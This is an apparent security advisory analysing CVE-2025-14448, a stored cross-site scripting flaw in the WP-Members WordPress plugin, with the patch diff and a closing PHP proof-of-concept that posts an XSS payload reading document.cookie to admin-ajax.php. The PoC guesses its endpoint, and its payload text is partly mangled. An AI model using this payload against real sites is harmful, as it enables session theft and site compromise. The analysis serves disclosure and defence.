Atomic Edge analysis of CVE-2025-14448:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP-Members Membership Plugin for WordPress. The vulnerability affects the plugin’s user profile field handling for ‘multiselect’ and ‘multicheckbox’ types. Attackers with Subscriber-level access or higher can inject arbitrary JavaScript that executes when an administrator or other user views the affected profile page. The CVSS score of 5.4 reflects a medium severity risk.
The root cause is insufficient input sanitization for array-type user profile fields. In the vulnerable version, the code at wp-members/includes/class-wp-members-user-profile.php processes ‘multiselect’ and ‘multicheckbox’ field types. Line 387 uses `implode( $field[‘delimiter’], wp_unslash( $_POST[ $meta ] ) )`. The `wp_unslash()` function removes escaping slashes but does not sanitize the array values for HTML or script content. This lack of sanitization allows malicious payloads to be stored directly in user meta.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker submits a crafted POST request to the user profile update endpoint, which is typically accessible via the front-end profile form or related admin-ajax handlers. The payload is injected into the `$_POST[ $meta ]` parameter, where `$meta` corresponds to the name of a configured multiselect or multicheckbox field. The payload would be an array containing JavaScript, for example `[‘
‘]`. When an administrator or any user views the profile containing the malicious field value, the script executes in their browser context.
The patch replaces `wp_unslash( $_POST[ $meta ] )` with `wpmem_sanitize_array( $_POST[ $meta ] )` on line 387 of the same file. This change introduces a new sanitization function, `wpmem_sanitize_array()`, which presumably iterates through the array and applies appropriate sanitization to each element before implosion. The fix ensures that HTML and script characters within the submitted array values are neutralized before storage, preventing persistent script injection.
Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions as the victim user, deface site content, or redirect users to malicious sites. For administrators, this could facilitate full site compromise by leveraging their elevated privileges to install backdoors, create new administrative accounts, or modify plugin and theme files.
--- a/wp-members/includes/class-wp-members-user-profile.php
+++ b/wp-members/includes/class-wp-members-user-profile.php
@@ -385,7 +385,7 @@
} elseif ( $field['type'] == 'checkbox' ) {
$fields[ $meta ] = wpmem_get_sanitized( $meta, '' ); // ( isset( $_POST[ $meta ] ) ) ? sanitize_text_field( $_POST[ $meta ] ) : '';
} elseif ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) {
- $fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wp_unslash( $_POST[ $meta ] ) ) : '';
+ $fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wpmem_sanitize_array( $_POST[ $meta ] ) ) : '';
} elseif ( $field['type'] == 'textarea' ) {
$fields[ $meta ] = wpmem_get_sanitized( $meta, '', 'post', 'textarea' ); // ( isset( $_POST[ $meta ] ) ) ? sanitize_textarea_field( $_POST[ $meta ] ) : '';
}
--- a/wp-members/wp-members.php
+++ b/wp-members/wp-members.php
@@ -3,7 +3,7 @@
Plugin Name: WP-Members
Plugin URI: https://rocketgeek.com
Description: WP access restriction and user registration. For more information on plugin features, refer to <a href="https://rocketgeek.com/plugins/wp-members/docs/">the online Users Guide</a>. A <a href="https://rocketgeek.com/plugins/wp-members/quick-start-guide/">Quick Start Guide</a> is also available. WP-Members(tm) is a trademark of butlerblog.com.
-Version: 3.5.4.3
+Version: 3.5.4.4
Author: Chad Butler
Author URI: https://butlerblog.com/
Text Domain: wp-members
@@ -58,7 +58,7 @@
}
// Initialize constants.
-define( 'WPMEM_VERSION', '3.5.4.3' );
+define( 'WPMEM_VERSION', '3.5.4.4' );
define( 'WPMEM_DB_VERSION', '2.4.2' );
define( 'WPMEM_PATH', plugin_dir_path( __FILE__ ) ); // @todo Fairly certain this is obsolete.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14448 - WP-Members Membership Plugin <= 3.5.4.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Multiple Checkbox and Multiple Select User Profile Fields
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'attacker_subscriber';
$password = 'attacker_password';
// Payload to inject into a multiselect/multicheckbox field.
// Replace 'vulnerable_field' with the actual meta key of a target field.
$malicious_payload = array('<img src=x onerror=alertu0028document.cookieu0029>');
// Step 1: Authenticate to get a valid WordPress session cookie.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
// Simulate a login request (simplified; real login requires nonce and redirect handling).
// This PoC assumes you have a valid session cookie already or use wp-login.php.
// For brevity, we outline the attack request structure.
// Step 2: Craft the exploit request to update the user profile.
// The plugin likely uses the 'wpmem_update_user' AJAX action or similar.
$post_fields = array(
'action' => 'wpmem_update_user',
'vulnerable_field' => $malicious_payload, // The vulnerable parameter.
// Include other required fields and nonce as needed.
);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
} else {
echo 'Response: ' . $response;
}
curl_close($ch);
?>
